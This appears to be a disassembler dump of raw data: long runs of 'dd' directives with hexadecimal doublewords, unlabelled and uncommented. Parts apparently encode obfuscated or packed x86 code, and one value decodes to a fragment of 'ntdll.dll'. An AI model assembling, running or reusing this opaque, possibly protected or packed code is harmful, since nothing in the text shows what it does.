		dd 4C759CABh, 0AA750542h, 2BEF943Dh, 239071Ah, 404D0000h
		dd 0D8A3EC07h, 701F006Bh, 277B8D3h, 9DE12E39h, 816347AEh
		dd 0EEF94648h, 36AD9A1h, 0B6D16A1Eh, 0D1380389h, 8FDB5126h
		dd 624112BAh, 77774ACh,	9CE0D138h, 58D248A3h, 0DE0364ABh
		dd 3B1723F9h, 0B3FA473Ah, 41A8DB6Dh, 36854918h,	300757E5h
		dd 70F94118h, 0D09CD1F8h, 0DE394BD1h, 0E1000000h, 0DD3A0577h
		dd 4C91AED0h, 85AAF321h, 4B194AF9h, 473A3777h, 4099A2EAh
		dd 86AE3487h, 25E2854h,	0CEBBF8C1h, 0F033107Bh,	155C80A3h
		dd 4D8FDC67h, 7C304996h, 49180E73h, 6176911Ch, 0BDDA6514h
		dd 187ADBEFh, 217F3E41h, 92F73C37h, 3CEE191Ah, 0BFC9F64Fh
		dd 0FF244584h, 7CC51D2Dh, 0C6B3F04Bh, 0CA0D287Dh, 111E4396h
		dd 6D88DD6Ah, 0A4E95624h, 701E5B79h, 0C51327F5h, 85F64B7Ch
		dd 0E95695C6h, 276883C2h, 8B1EE857h, 16EF93A8h,	1453A05h
		dd 34590000h, 0CCBFE00Bh, 642B147Fh, 0F6838CE7h, 91FD224Dh
		dd 8D6F5BB2h, 0E20D3A44h, 177ECDBDh, 8AE55E2Ah,	254CF785h
		dd 0BBCF5D3Ah, 5E4112B9h, 77768B8h, 9CE0D138h, 68DFE2ADh
		dd 0A7D70242h, 863A2E5h, 0A396E22Fh, 0F62A6DD6h, 0A27A5F5Eh
		dd 473A3B96h, 90FF307Bh, 1D4362B3h, 4E9FA8D4h, 89E05B21h
		dd 1277BCB7h, 181ED59Ah, 16733A49h, 0AFC87319h,	0F72D1662h
		dd 0FD8E8BECh, 1B8787F4h, 0EE216249h, 3A0577B2h, 0ABF8EBE9h
		dd 0BB16DE4Eh, 0B0FB4F03h, 8FD3C9C6h, 849B94EFh, 0A7h
		dd 1E69D2BBh, 0B2DD6A11h, 2A45028Dh, 40AB94E5h,	0F9102F5Fh
		dd 0D8A6EFF1h, 6B1F006Bh, 0FC8CB5DCh, 95E72843h, 0FF9843AAh
		dd 12B91D2Dh, 0CA5AF041h, 256AAB58h, 0E03B8C9Ch, 2063181Dh
		dd 1871B0F3h, 21F7E484h, 51822949h, 0B2D7701Ch,	434795D1h
		dd 0F42829A0h, 6DD6A6EBh, 0B77B6C38h, 58245376h, 771BEEFh
		dd 4FC8EF3Ch, 0FA770529h, 63D6A67Eh, 82ED2C1Bh,	0AAEEEF9Dh
		dd 8333629Fh, 0D8154679h, 0CF4596B1h, 3E4EE602h, 0D7A5EA05h
		dd 0F5DA3F6Ch, 37B51327h, 69B7067Dh, 0A92h, 525F4000h
		dd 0ABCA1B28h, 772EF075h, 0C3E83D06h, 105D8EB9h, 618EDF68h
		dd 0B4F92A19h, 3287DCAh, 529FCC7Bh, 0A2CF1C27h,	0F03D6EDDh
		dd 696FBC8Bh, 5E08950h,	4, 42Dh, 24048700h, 2434895Ch
		dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 2B682404h
		dd 8900002Bh, 0BB532414h, 691446E7h, 0FFFFEB81h, 0F381FFFFh
		dd 6F3C2125h, 815BD889h, 4ECh, 24248900h, 4240481h, 5A000000h
		dd 8428F50h, 5A2434FFh,	0FF04C483h, 81582434h, 4C4h, 0FED9E900h
		dd 0D9A4FFF9h, 6F14BCB2h, 43DB639Dh, 8398B82Dh,	0C5030628h
		dd 985C650h, 47062233h,	38172568h, 0A9B5FFCFh, 8D062233h
		dd 223AF185h, 8BD0FF06h, 9D858DD8h, 5006222Dh, 10468h
		dd 0C6D3FF00h, 22330985h, 0BF685306h, 0FF8307F8h, 2233A9B5h
		dd 0F1858D06h, 0FF06223Ah, 988589D0h, 83062865h, 221875BDh
		dd 840F0006h, 0Bh, 0B499D8Bh, 5E90622h,	0BB000000h, 0
		dd 10068h, 9CB58D00h, 56062865h, 6195FF53h, 8D062207h
		dd 28659CB5h, 0E9F00306h, 1, 5C3E804Eh,	9840Fh,	3E800000h
		dd 0ED850F2Fh, 0C6FFFFFFh, 858D0006h, 628659Ch,	9895FF50h
		dd 58062865h, 7078E0FFh, 3E9F69B8h, 0D96F0968h,	183E345Eh
		dd 744701C8h, 0C96725B8h, 757B3FACh, 18D231D9h,	0C5AA2106h
		dd 6C9B2557h, 6A403AA7h, 0C63F0CB8h, 0C9A0930h,	0FB3C3DFEh
		dd 0A0CD3A31h, 0D5554848h, 968E00A2h, 0AD8E70B6h, 92B1384Fh
		dd 0D8745785h, 3D28713Fh, 6B71D5Ch, 8A746A3Eh, 13062492h
		dd 5FD45493h, 0D7E24150h, 8817313Fh, 0D3CD5A43h, 8E0E145Eh
		dd 63C022C2h, 2AE92559h, 0D9000000h, 93125ECFh,	9DE61D8Ch
		dd 6E2E81E8h, 6C6C6474h, 6C6C642Eh, 0BD146700h,	0B98003B2h
		dd 0FEh, 2 dup(0)
		dd 73CE900h, 0D0680000h, 0E9062886h, 0FFF9FD63h, 28879F68h
		dd 0FD59E906h, 7268FFF9h, 0E9062888h, 0FFF9FD4Fh, 28893768h
		dd 0FD45E906h, 1F68FFF9h, 0E906288Ah, 0FFF9FD3Bh, 288AFE68h
		dd 0FD31E906h, 0B8C5FFF9h, 503B648Fh, 0E89798F3h, 7A0F305Bh
		dd 1579A6C1h, 9EBDF36h,	6681BEC0h, 9BF25139h, 0E59E296h
		dd 0A9C07B01h, 3743D9BEh, 0DA4112BEh, 30A5EC34h, 89000000h
		dd 96A27A5Fh, 7B473A3Bh, 0B7C5EC30h, 2C9A6B8Ch,	0CE79008Ah
		dd 27A55E9Dh, 94B1EFDBh, 0ED0A3547h, 326ED9A0h,	0D82F7FD1h
		dd 4632473Ah, 583892FDh, 690364ABh, 49184876h, 0A367463Fh
		dd 2A55C657h, 23703BF6h, 98A3E926h, 0DB92A244h,	0E56C4118h
		dd 0FC114C83h, 78A44BD0h, 72000002h, 0D48FFDD3h, 1D4EFD81h
		dd 0B0D125DEh, 8575CD2Fh, 2CC02542h, 473A461Ch,	93C07B01h
		dd 83CCEF50h, 0DB1A4BF8h, 0BFD85485h, 60491855h, 88685AF7h
		dd 5FBC3906h, 0D4B6E951h, 69D6A4F1h, 0CFBE912Bh, 93408D06h
		dd 0DF0C3742h, 603C5D9Ch, 83494B6Fh, 7C98CDE0h,	0D2DF3887h
		dd 2B4A9BA8h, 5608E4F5h, 0CB996FF8h, 28A87E0h, 0ACD32039h
		dd 5D214E9Fh, 3F7EBDEEh, 0CBB1FEE1h, 4ED776CAh,	0A5E4616Eh
		dd 421901D5h, 3E011225h, 529h, 26DD6A7h, 0B6D16E1Dh, 2E390689h
		dd 44AF98E1h, 0FD14335Bh, 0DCA2EB8Dh, 6F1B046Fh, 88B9D0h
		dd 99E32C47h, 0FB9C47AEh, 12BD1921h, 0CE56FC41h, 801C0577h
		dd 473A3B78h, 3B83D745h, 4776473Ah, 2370B3FAh, 95E33221h
		dd 3BC8108Ch, 8E2D473Ah, 1AEB0C4Fh, 0B6D4398Ch,	8DCC1013h
		dd 45BDDFA8h, 5DBCA5AFh, 94A66507h, 4B74918h, 7AD000EDh
		dd 4FDD3A89h, 4F3AC834h, 94B3DCD9h, 1E52447h, 90A1DA93h
		dd 98E79CA2h, 84AAAD7Fh, 8A3EDFAh, 0D71BEDBh, 92CEED3Eh
		dd 23448B78h, 7499A2D6h, 36E6EB29h, 0E2180E54h,	8C89EECDh
		dd 5419FD00h, 26213A97h, 97582E7h, 0BDFC4B34h, 0CC174D68h
		dd 0F88EB9C3h, 4AB0DB5Ch, 5AA9B081h, 0E8000004h, 4E739AA5h
		dd 0BAE70E3Dh, 121F76D5h, 8CB5DC67h, 0DC2A4502h, 9CABD31Ch
		dd 13E4C75h, 74CFB9E6h,	0DF68141Dh, 702C4DB4h, 4112BC28h
		dd 5F1909CDh, 3B96A27Ah, 3E7B473Ah, 63B1F04Bh, 712B3646h
		dd 473A3B29h, 1488E1CCh, 473A3BC4h, 12438229h, 55B201F2h
		dd 184EF4C7h, 6C1C9949h, 206382D3h, 4457EC7h, 8CAE48E5h
		dd 362D0F50h, 6EAB90E9h, 0B2F12221h, 8ED9DC6Eh,	996A4F00h
		dd 2DFF0C05h, 4B702D1Dh, 7EC0BDF0h, 22762655h, 0D74B705Bh
		dd 206CA5E4h, 6D40F927h, 0C27D0F0Ch, 2D1666ABh,	0EA82E7CCh
		dd 4B705BDEh, 80A87833h, 754B705Bh, 81C31A46h, 4FFC83D2h
		dd 0E692DF1Eh, 2FFD1A5Dh, 45522C58h, 42887E3Dh,	9BE96E85h
		dd 387B78Ah, 78050000h,	107BA4CFh, 0A8D7D833h, 3A4F709Bh
		dd 0D5B9E601h, 492B1F76h, 0A6C17E00h, 0DB321179h, 4E99A2D6h
		dd 0E9003B41h, 7783197Eh, 9A4112B3h, 5772CF4h, 0F8EBE93Ah
		dd 286BD4A5h, 4FAA5DCFh, 28834918h, 1B302C1h, 0D3F00000h
		dd 0FCB09512h, 473A3BACh, 24366A41h, 1587E02Fh,	491828CAh
		dd 89A7833h, 9A1457A4h,	0F098DD96h, 0A4E70657h,	3FCEA943h
		dd 2A67B247h, 83BEE261h, 259EFB28h, 457E2900h, 0D7015F28h
		dd 0FAB2D71Ch, 489D5D18h, 7055B2F9h, 0BDEE5923h, 7507227Eh
		dd 85F91170h, 0F629972Dh, 4BF48491h, 5A85DB1Ah,	0F14E307Dh
		dd 42FD8FACh, 4D93D211h, 1BEF5824h, 0F433E3A9h,	0C21AE536h
		dd 40000002h, 0A6EB023Dh, 121F76D5h, 8AB7DE6Dh,	0E42D44FFh
		dd 6442AD9Ah, 4434B84h,	69D6A4EDh, 0DC67111Eh, 47008CB5h
		dd 0D854252Ch, 4112B2B0h, 7771B165h, 64DD3A05h,	0E6CA8936h
		dd 0ED3864D6h, 0DEA1F4EFh, 98F13C61h, 3AE4F404h, 53921947h
		dd 8EA16636h, 956E4918h, 54805C5Ah, 98A07C1Ch, 7D41181Ch
		dd 68A1FF3Eh, 0A1D72445h, 0EA3675A6h, 62E01CE9h, 57C52271h
		dd 4F3A0F0Ch, 785DBAF1h, 7E6194A4h, 0EE32794Bh,	800E0B6Eh
		dd 5ECB9DC3h, 0E0CC1D39h, 664BACF3h, 0BFE9319Dh, 0B16380CFh
		dd 0DC1C3269h, 9EF3218Ch, 0B0D854B9h, 65DC1C32h, 67700A56h
		dd 8D23E1Ch, 81C4671Fh,	42855F79h, 0B300F311h, 904C656h
		dd 901DE854h, 0FC1D5CEBh, 1B72CDBFh, 0A7D36616h, 2467E496h
		dd 8575B4F7h, 546C9F29h, 0DAA6B98Ah, 68000001h,	0CEF31A25h
		dd 3A678EBDh, 929FF655h, 0C355CE7h, 5CAAC582h, 1C2B539Ch
		dd 81BECCF5h, 0F44F3966h, 5FE8949Dh, 0F0ACCD34h, 4112B1A8h
		dd 7799894Dh, 78801C05h, 9D473A3Bh, 91AED11Eh, 0BDEE214Ch
		dd 3A5FA45Fh, 184E1162h, 54BFFE49h, 3BE65FFEh, 0A1B7C368h
		dd 8FB1D43h, 0E1CE5EBBh, 6E49229Ch, 0B9EA5921h,	7AEB267Ah
		dd 31DAFB4Ah, 2F488B68h, 46A19AE2h, 0C0349071h,	221C5CA0h
		dd 7EC9B3FEh, 0EF342F2Dh, 938B128Ah, 6FAC4F0Ah,	38F12F1Ch
		dd 72071475h, 215784C9h, 58B9E726h, 0EB582673h,	47008CB5h
		dd 99A6D522h, 0E8EB2974h, 0D04CD5A7h, 4B6A9188h, 0D3A406Dh
		dd 3A5A8BCAh, 0B89DFA49h, 565074CFh, 285262F6h,	0E284D81Bh
		dd 4548A8E5h, 0F1B7436Ah, 6EE96801h, 0FBC25Dh, 4890000h
		dd 9CEFD03Bh, 345B44AFh, 0C6B3FC17h, 612D127Dh,	0BDBF8BE2h
		dd 0D23D0A74h, 47AE9DEDh, 0FA152E5Ah, 157CC7B5h, 0CB1F8DEAh
		dd 2E4112B1h, 0E65FB868h, 774926B1h, 0AFA9F76Dh, 0D0A6FB4h
		dd 82BDCF7Eh, 27F51243h, 473A4313h, 2874B706h, 0CE667329h
		dd 0A4174922h, 73051277h, 1F6D94C8h, 87ECCD24h,	12C6C515h
		dd 96B1D841h, 92192645h, 0EE59234Eh, 5E1EFBDh, 0F3983CC3h
		dd 0A1EA0754h, 7BC0E884h, 86355DA5h, 0B33E1647h, 0EE0BF135h
		dd 475828Ah, 0B6C5EA3Bh, 0EF0A5689h, 52C3189Dh,	60A4A027h
		dd 0B3D9C621h, 7AF41A32h, 35747056h, 94B3C7D4h,	0ADF82447h
		dd 0B468F980h, 5DA54264h, 0B340F79h, 0CCADDBA0h, 0A09800B7h
		dd 49230861h, 5DA59B21h, 0EC80D9D4h, 5DA59BDCh,	7267A31h
		dd 2824440Dh, 9B0129C3h, 0B9F45DA5h, 152E5E9Bh,	7CC7B5FAh
		dd 3D02Fh, 0CB020000h, 3D067773h, 8EB9C3E8h, 0DF68105Dh
		dd 2A19618Eh, 7DCAB4F9h, 0CC7B0328h, 1C27529Fh,	6EDDA2CFh
		dd 0BC8BF03Dh, 0E168696Fh, 8900006Eh, 0D968241Ch, 89000058h
		dd 68682434h, 8900003Bh, 59BE243Ch, 4E16907Fh, 128CE81h
		dd 0BB5329FAh, 2FD60EA3h, 1FB8CB81h, 0F3814222h, 748F55A1h
		dd 8102E3C1h, 0D95553F3h, 0BEC38168h, 814BF457h, 5EDB33EBh
		dd 5BDE2917h, 243C8B54h, 5504C483h, 8155F589h, 4AAD242Ch
		dd 478F074Ah, 8478108h,	74A4AADh, 2434FF5Dh, 4C4815Fh
		dd 8B000000h, 89562434h, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 0F635E95Ch, 6BD4FFF9h, 1EB892D7h, 306288Ch, 0E1E0FFC5h
		dd 34083531h, 6116CB08h, 43393C34h, 731E43FFh, 0B5CE451h
		dd 632F0EB9h, 0A9189519h, 434F72Bh, 0DC789990h,	0E9545C19h
		dd 1Fh,	0D8FAB64h, 6 dup(0)
		dd 0E9000000h, 58Ch, 0DE29127Bh, 729DAAD1h, 0EA05424Dh
		dd 6BD4A5h, 0B9D06F1Fh,	1866AFB1h, 0ABDFC02Bh, 3C4C759Ch
		dd 0D5A7E803h, 0BFD8036Ah, 12B6DDEDh, 8A9A3041h, 0E93A0577h
		dd 628DBAC4h, 532FAC15h, 0CAA87E63h, 26216B96h,	0F98390F5h
		dd 0A5D7124Eh, 5724499Ah, 65B695E6h, 21E20746h,	2F41FD33h
		dd 4461BFC8h, 12345ACh,	78A9C07Bh, 0D3DC3710h, 24499AA5h
		dd 3790E956h, 20680ABAh, 0CEB7F627h, 0E22F14B5h, 5776AA99h
		dd 3DEF721Ah, 473AA4EDh, 396AAD00h, 6BB887F4h, 72B830A1h
		dd 0CAB2FFDAh, 0A4B5C557h, 5558473Ah, 7EA2C112h, 0C9BF75F3h
		dd 0A4B4C458h, 5259473Ah, 0C5B7F813h, 0FB3A0574h, 0A4C91AAAh
		dd 0A3D6473Ah, 3A5EBA22h, 3E717BDBh, 8EB9C0EDh,	0B236335Dh
		dd 0FB7D847Ch, 0C37A0411h, 2A4F8EB9h, 3A3D2672h, 0BCE0CB47h
		dd 0F3D5E598h, 7EF051h,	775E0000h, 0F8DD3A05h, 3A3B1424h
		dd 6EB2F947h, 0A7493A5Fh, 1B8B9DF2h, 0DD66165Bh, 95376D88h
		dd 473A9F47h, 1587ECEDh, 473A9FC5h, 0D25F8528h,	37FE7396h
		dd 1A1751F3h, 868FD56Eh, 0Eh, 850CC31h,	0ED473A93h, 4F8EB9C0h
		dd 4777D11h, 0B2D91647h, 1053F09Bh, 0CE1A92F7h,	23473A3Bh
		dd 0FC315488h, 0F761B28Dh, 5526FE7Ah, 1EE5324Ch, 0D4C1976h
		dd 7ACFBDE2h, 95F93615h, 861C77B6h, 0EB380777h,	7196B5C6h
		dd 0FD7C5990h, 0B4E806DCh, 9FD95691h, 2D4AF985h, 0AA0454C8h
		dd 0C2E9473Ah, 1844FF8Dh, 79C2CAF7h, 1612A760h,	0E55DA364h
		dd 3E416EBFh, 0E0ABE801h, 0ADF33263h, 0AFC9B098h, 0F373F598h
		dd 8A5B2C51h, 96D154E3h, 8C24E937h, 4F000000h, 0D00C3742h
		dd 2D525F3Ch, 1488CD1Eh, 473A3BC4h, 0E438229h, 5F9ECF7Ch
		dd 0A996F801h, 623A1F64h, 473A3B56h, 85ACF0BBh,	68184DFAh
		dd 0C1CD6781h, 10E6B82h, 6891CF78h, 0B3C01926h,	257BC8h
		dd 70A59EEBh, 0B0D711D8h, 51F3D9CDh, 8308h, 7771600h, 2FB4836h
		dd 0BF3A837Ah, 0C91A5DBEh, 0E6BD4A4h, 783422B5h, 0BCCE4BAEh
		dd 0DC1F5E8Fh, 30556580h, 7FAC9BE3h, 0DF19E03Ch, 0ED0A3945h
		dd 226FD8A0h, 7BBAEB58h, 77603A25h, 0F1164704h,	0D8B77C10h
		dd 0A8F4EA9Ah, 3A48CD1Eh, 9FACD247h, 0E05B214Eh, 3E6FDCAFh
		dd 63B08BF1h, 3BBDB440h, 84E40DF7h, 34473F88h, 0E79CA7D5h
		dd 1B39B9F9h, 0F3983E33h, 0A9B51h, 453E0000h, 84185E22h
		dd 6E065AE7h, 0EA3B0877h, 0FD82B7C5h, 85EA0F4Eh, 3A3BC317h
		dd 53D3647h, 15F32BD5h,	503B74B7h, 5D83A2F3h, 1B5D0408h
		dd 0A897E431h, 0DDE4387Bh, 0F7495B2h, 3A1B4D9Dh, 0D70DA047h
		dd 68B7AC8Ch, 680A9D0Fh, 4A3B4918h, 0B7FEFDC6h,	0F684CD15h
		dd 0BBD90449h, 0B1FE2F8Eh, 281970CBh, 0FA8ADB64h, 41189BACh
		dd 38D4ADA8h, 0F2D3241Bh, 86E24F95h, 0A943DEAEh, 4118C081h
		dd 0EF063974h, 3C61DAA2h, 61B28DFFh, 75AFC946h,	0DEDB3C07h
		dd 84D9EADh, 18C04494h,	0C302A941h, 0ADA0729Dh,	84BD0E0h
		dd 156h, 0DEAB5816h, 9BE4CD98h,	6BDD7ACh, 0A3E25D2Bh, 0AE950760h
		dd 9F4918A5h, 0DAA2CF1Ch, 7E0B0861h, 0F5590C5h,	96B1DBC4h
		dd 0DB642845h, 0D0A6F8Ah, 5093C07Bh, 61C3250Ch,	35C9201Bh
		dd 4BD11B38h, 68B06C51h, 8D4118F6h, 4653F22Eh, 0FB000000h
		dd 861A858h, 0A6A5D623h, 6C78A07Ah, 785D1173h, 3A3B94A4h
		dd 0F33279C7h, 3BC612A2h, 99F8C73Ah, 3BD0F8B4h,	7645C73Ah
		dd 0A4A9CF2Ah, 251E6BACh, 53A085E2h, 25C71D26h,	91736CF5h
		dd 0A7BAD5D8h, 0C2h, 64AB588Fh,	3DC66903h, 0A2EF4918h
		dd 0FB366AD9h, 2D7ECDBEh, 6DAACF0Eh, 0B3F2231Ch, 35B2C656h
		dd 54674118h, 0CCB0FD08h, 0F23F1873h, 4E6DBE8Dh, 0D0A8CAB5h
		dd 459B3535h, 90F9503Ch, 222774B7h, 861B2FFDh, 0BFFE4118h
		dd 864AC761h, 0BBB64118h, 0A495E73Dh, 0F83B68D7h, 4679C2B7h
		dd 0C916CD2Fh, 0B6664BB0h, 41188562h, 0A4EB2497h, 77AF79A7h
		dd 5A4F0001h, 9FED0253h, 2D5DBD1Eh, 337249C2h, 424F2AE2h
		dd 0BADF0C37h, 7169D6E2h, 31703B4Bh, 6DE206E3h,	0EBD02976h
		dd 4C93141Ah, 2E72FB04h, 69BBA09Ch, 5F208D45h, 62DDAFE0h
		dd 2E7DC623h, 2528FC5Fh, 98E1E23Eh, 0BD1F9B3h, 69445549h
		dd 0AB589B2Bh, 0AD690364h, 904922BFh, 0DA0BFC1Dh, 6CE76424h
		dd 49695421h, 0B2A99275h, 6A125F6Eh, 147BB8D1h,	99C7E637h
		dd 0F8434976h, 828219ABh, 11D83BB3h, 142F5DD7h,	7FC8B4FDh
		dd 0CF78012Eh, 0ADCBB69Eh, 0DD3A0577h, 3B044764h, 0C917C573h
		dd 48F39986h, 3041Bh, 0CBEE0000h, 3D067773h, 8EB9C3E8h
		dd 0DF68105Dh, 2A19618Eh, 7DCAB4F9h, 0CC7B0328h, 1C27529Fh
		dd 6EDDA2CFh, 0BC8BF03Dh, 8957696Fh, 4C781E7h, 81000000h
		dd 4EFh, 243C8700h, 240C895Ch, 81E28952h, 4C2h,	4EA8300h
		dd 5C241487h, 52240489h, 0C281E289h, 4,	8704EA83h, 895C2414h
		dd 0C682414h, 8B06288Dh, 0C4832404h, 148B5404h,	4C48124h
		dd 50000000h, 46D7B850h, 4401172Dh, 8F580424h, 6A810842h
		dd 2D46D708h, 2434FF17h, 4C4835Ah, 582434FFh, 0E904C483h
		dd 0FFF9F04Fh, 55113F9Dh, 28921AB8h, 0FFC50306h, 0F02D31E0h
		dd 8C98B467h, 1E15C044h, 0C3196028h, 6E401940h,	8097737Dh
		dd 0D1CB7905h, 0B6BEBA24h, 0A49EB941h, 1BEF2B55h, 0EEC71D03h
		dd 7006761Ch, 8EA3784Eh, 0C7F7566Ch, 350A7157h,	17A74B02h
		dd 20BC8648h, 0BDECE705h, 4B2FA14Ah, 1CA9D527h,	92C35B52h
		dd 0A9761C6Ch, 2D656867h, 0E417662Eh, 3A50FB06h, 5BFBB128h
		dd 2873DF30h, 6CF18756h, 5E862h, 41AA0000h, 8B82C725h
		dd 52BA58FEh, 8178A1A8h, 6DA4C0h, 38B9F800h, 0F00001Bh
		dd 388h, 0F18B6600h, 880F30FFh,	17h, 0BE8h, 0EEDD6100h
		dd 4864A829h, 0CEF08732h, 255FC781h, 5B5E08DCh,	7E9h, 148DA400h
		dd 36FBEDBEh, 0FD7EC381h, 8D0F5121h, 3,	81D08B66h, 0D59B68F3h
		dd 8B665348h, 0EB815EF1h, 5A64F988h, 89F78B66h,	0F98B6618h
		dd 0E20FE881h, 0C08143A9h, 43A9E20Bh, 10E9h, 0B10B6900h
		dd 5C9FEF4Fh, 0D446CF14h, 0CBD3F0A2h, 850F49B9h, 15h, 2DF78166h
		dd 20E9C5h, 0CFEB0000h,	38E895B7h, 7F2047F1h, 0EBD28153h
		dd 0E92AF421h, 0FFFFFF64h, 78965822h, 0BCEBAD76h, 19E9721Fh
		dd 0A8000000h, 695CFDh,	5 dup(0)
		dd 509E9h, 954B6800h, 0D8E90628h, 68FFF9EEh, 62895B4h
		dd 0F9EECEE9h, 976B68FFh, 0C4E90628h, 68FFF9EEh, 0CEF31A25h
		dd 3A678EBDh, 929FF655h, 0C355CE7h, 5CAAC582h, 1C2B539Ch
		dd 81BECCF5h, 0F44F3966h, 5FE8949Dh, 0F0ACCD34h, 4112AFA8h
		dd 5F99894Dh, 5E979EE6h, 4B89CE3Bh, 0D559602Eh,	0C5A2938Ah
		dd 78FBED96h, 0C1B3DD91h, 6C105D8Eh, 0AB58B8D3h, 46690364h
		dd 6F49180Bh, 0B9EA5922h, 7BB8C05Ch, 5E5D4118h,	6548C11Fh
		dd 0B8C6D330h, 0C51B5A8Bh, 187B1323h, 8F8CED41h, 3F40F9h
		dd 0C5190D3h, 32B6B3E1h, 0D19B621Fh, 33C774Bh, 5FDF0000h
		dd 3B96A27Ah, 307B473Ah, 5AAE61ECh, 0A62B54A9h,	3C8F986Fh
		dd 8F53483h, 0B86C16D8h, 4AAFEE15h, 0E4632865h,	9E2874B7h
		dd 49180845h, 0B16303AAh, 95FE8616h, 0F25E2BD8h, 13A4ECBh
		dd 3F051974h, 0B43642DAh, 0D0DB44BDh, 3BA47891h, 244A9FA7h
		dd 4B384489h, 7322E304h, 806983ABh, 7E2E2371h, 40B1B8DDh
		dd 4397056Ah, 0B648F1FFh, 4D60D907h, 0A29DEF2Ch, 4434845h
		dd 5283C0CBh, 9D82CD13h, 572572EFh, 0AC7CBFECh,	48F1FF9Ch
		dd 0FFB3A71h, 0EC0F3152h, 10B38E9Fh, 3C000003h,	929FF651h
		dd 0E335AE9h, 66ABC281h, 0D0C12813h, 707691AEh,	0E8572770h
		dd 5DEA9081h, 0C07B0D32h, 2B1478A9h, 0AC4019C0h, 4112AE9Ch
		dd 5845DD71h, 0DE0364ABh, 4390ABD1h, 0FF2AFC20h, 0D04922C8h
		dd 0F7FBCDDh, 0B5DAD730h, 18094A96h, 0C884C976h, 975BF859h
		dd 1867D2BAh, 78BBFA2Bh, 0B260C98Eh, 41B14F5h, 2A7h, 6681BAC3h
		dd 9AF55239h, 325DEA95h, 0A8C37C0Dh, 0C1281767h, 0C0CE07E9h
		dd 53276883h, 0E4949DF4h, 7D0F305Bh, 0D7A0ABC2h, 12AE3545h
		dd 0F232D841h, 0AA42AB58h, 473A3B9Eh, 0BA426037h, 0CF70CFDAh
		dd 0D04CADECh, 49229269h, 6232634Ah, 4112D552h,	0BAC0CDACh
		dd 0C71D588Dh, 0B50EFE7Ah, 0D9A14A07h, 951B916Ah, 479DD03h
		dd 1D4BCB3Bh, 8DDE6910h, 0BF13326Eh, 3B000001h,	0C5800577h
		dd 0CCBE715Ch, 317EAFEEh, 8799F04Bh, 8A6287CCh,	491896A5h
		dd 33C4D6Ah, 117693C0h,	0FDC599B0h, 0A272DA62h,	41185896h
		dd 1546018Bh, 1E4269D6h, 1858384Ch, 0EB542541h,	480575BAh
		dd 96C70641h, 0E4083359h, 1937FB7Dh, 53341850h,	95F7275h
		dd 133B5915h, 4BD1375Eh, 5B7Bh,	0AB58A300h, 3B9EAA42h
		dd 3873473Ah, 0EB93E0F9h, 3B96A27Ah, 307B473Ah,	5381ACF1h
		dd 0B0DCD93Eh, 0C04ACA2Dh, 7EB1A82Fh, 2474282Dh, 0C9473A89h
		dd 0AB7DA3E2h, 4918F3B8h, 0C12695h, 0A5A22A16h,	1C297754h
		dd 18E63C40h, 0E107C241h, 0D0FEB3AEh, 0C1CDCA4Bh, 0CFF75E82h
		dd 5F000000h, 0AB2A525Fh, 0F91B13E9h, 4D9ED1DBh, 0C5B7F22Eh
		dd 6B101D7Ah, 306C8FDCh, 89B6D815h, 42DA3F44h, 473ADF36h
		dd 658CD0DBh, 0B2FF2C17h, 0AF1871CAh, 0B4C77019h, 5E274697h
		dd 1D4333F1h, 0EC80E5F2h, 473A07DCh, 1C817A31h,	0D4C59A1Dh
		dd 4DAF79A7h, 8C473A68h, 114FFC8Fh, 709BA4E8h, 0CB2C7360h
		dd 1ECA0751h, 76931A49h, 9FF65539h, 0A379EC92h,	411F1A97h
		dd 6F0337Ah, 0F5B5D437h, 0F0AEB182h, 1C000000h,	72BFD671h
		dd 0EED33A09h, 464BA2A1h, 0B0E10833h, 101671CEh, 0C8770750h
		dd 3D0A70A1h, 0A09BEDD2h, 0B345849h, 8C6079E0h,	4112AC7Ch
		dd 5F25FD91h, 0C11F2C52h, 0DD4FD6B8h, 473A3B8Dh, 0E30A4D60h
		dd 1A75CEBEh, 0BF88F03Dh, 577CD61h, 0B8C4E93Ah,	0B9996A8Fh
		dd 0B4812F59h, 90E0E331h, 0A17B9CE3h, 4918B42Eh, 2E6B8C2Fh
		dd 1888E360h, 41192BF4h, 7198A3E9h, 0DC013E40h,	724Dh
		dd 0AB58B100h, 0A4690364h, 954922C8h, 0D4B8F526h, 0AF8BDF4Dh
		dd 4F6E4112h, 0D0BCE50Ch, 6F962677h, 9B27C543h,	721A1A5Eh
		dd 0B71BEC9h, 0BCF54E3Eh, 42774D3h, 2357A4C5h, 0A7E6652Ah
		dd 0DCE93776h, 295FEA9Fh, 7DBADF1Eh, 0C2E13211h, 1CC54F9Eh
		dd 0B3458DCh, 7CCDBFE0h, 0F24D3C0Dh, 4382A1h, 0D4CD3h
		dd 0CBB60000h, 8EBDC1CEh, 0ABD11E5Dh, 77B04C90h, 0C3E83D06h
		dd 105D8EB9h, 618EDF68h, 0B4F92A19h, 3287DCAh, 529FCC7Bh
		dd 0A2CF1C27h, 0F03D6EDDh, 696FBC8Bh, 5AE668h, 243C8900h
		dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 89502404h
		dd 405E0h, 42D0000h, 87000000h,	895C2404h, 0BD55242Ch
		dd 6A8B43D6h, 3E7E581h,	0C14D68C8h, 0EDC106E5h,	0FDF58107h
		dd 53066C95h, 0D889EB89h, 0EC815D5Bh, 4, 83242489h, 5D042404h
		dd 8904EC83h, 458F2404h, 242C8B08h, 5E08950h, 4, 405h
		dd 24048700h, 2434FF5Ch, 4C48358h, 0F9E9DAE9h, 80B8C0FFh
		dd 3062898h, 58E0FFC5h,	0F3656330h, 5C2A26B2h, 28326F6Eh
		dd 4F2BDFE5h, 5C1457FEh, 246D9D9Ah, 742822E9h, 1D1E6151h
		dd 595A2C08h, 0EF6CEE29h, 0F944894Bh, 0AF40155Fh, 803F182Bh
		dd 6A7C0266h, 97728D3h,	5F73303Eh, 0D10284EBh, 48239827h
		dd 997C9F44h, 0C5501588h, 0AD0748A1h, 7815BEC5h, 5759CF58h
		dd 2B4CF3F6h, 0C335B0F5h, 32386419h, 0A03E6190h, 5312562Fh
		dd 5DB1617Fh, 0AEB7DBAFh, 0AF823256h, 0BBEF689h, 0D7F13256h
		dd 0EAB13243h, 75B122BFh, 10F9DE56h, 0CE8F112Fh, 0C0C77957h
		dd 0C1E33748h, 0ABB1CB84h, 26095436h, 0DBFD53FCh, 8CB13016h
		dd 4F898236h, 52B13237h, 0AEB13AD1h, 553C3D56h,	0CBB13256h
		dd 0B5B13237h, 1D3054A3h, 75D0C323h, 0BAA0DB56h, 1C033256h
